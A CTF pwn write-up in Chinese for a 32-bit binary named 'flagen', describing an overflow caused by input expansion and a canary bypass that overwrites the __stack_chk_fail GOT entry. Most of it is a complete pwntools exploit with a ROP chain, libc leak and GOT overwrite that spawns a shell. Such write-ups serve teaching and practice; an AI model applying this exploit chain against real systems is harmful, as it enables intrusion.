题目
提取码:g36p
ida静态分析
找到sub_80488C6()函数中存在一个漏洞点。
case 0x48:
case 0x68:
v4 = v15;
v5 = v15 + 1;
*v4 = 0x31;
*v5 = 0x2D;
v6 = v5 + 1;
v15 = v5 + 2;
*v6 = 0x31;
break;
这部分代码将我们输入的flag转换后会变长,存在溢出漏洞。
但仅仅有这个还不行,因为这个程序存在canary,所以我们必须要解除canary。
在这里面有个十分巧妙的地方
如果我们构造的payload合适的话,可以用 __stack_chk_fail的地址将参数给覆盖,从而使得我们可以控制 __stack_chk_fail,去掉检查。
然后还需要注意的就是payload中会有\x00截断,所以我们需要找到一个合适的输入函数。使用文件中自己编写的输入函数,覆盖参数(注意\x00截断)
exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
elf=ELF('./flagen')
def input(p,input):
p.sendlineafter(': ','1')
p.sendline(input)
def up(p):
p.sendlineafter(': ','2')
def low(p):
p.sendlineafter(': ','3')
def change(p):
p.sendlineafter(': ','4')
def addprefix(p):
p.sendlineafter(': ','5')
def prin(p):
p.sendlineafter(': ','6')
def exit(p):
p.sendlineafter(': ','7')
puts=0x08048510
ret=0x0804846a
stack_check=0x0804B01C
pop_1=0x08048481
pop_2=0x08048b00
pop_3=0x08048d8d
bss=0x804b144+0x8
a=0x08048F60
read=0x080486CB
p=process('./flagen')
payload=p32(ret)+'h'*0x55+'a'*8+'a'*5+p32(pop_1)+p32(stack_check)
payload+=p32(puts)+p32(pop_1)+p32(elf.got['free'])
payload+=p32(read)+p32(pop_3)+p32(bss+0x100)+p32(0x6fffffff)+p32(0xffffffff)
payload+=p32(read)+p32(pop_3)+p32(elf.got['free'])+p32(0x6fffffff)+p32(0xffffffff)
payload+=p32(elf.plt['free'])+p32(pop_1)+p32(bss+0x100)
input(p,payload)
change(p)
alarm=u32(p.recv()[4:8].ljust(4,'\x00'))
libc=LibcSearcher('alarm',alarm)
system=alarm-libc.dump('alarm')+libc.dump('system')
malloc_hook=alarm-libc.dump('alarm')+libc.dump('__malloc_hook')
print('malloc_hook',hex(malloc_hook))
p.sendline('/bin/sh\x00')
p.sendline(p32(system))
p.sendline('ls')
p.interactive()
p.close()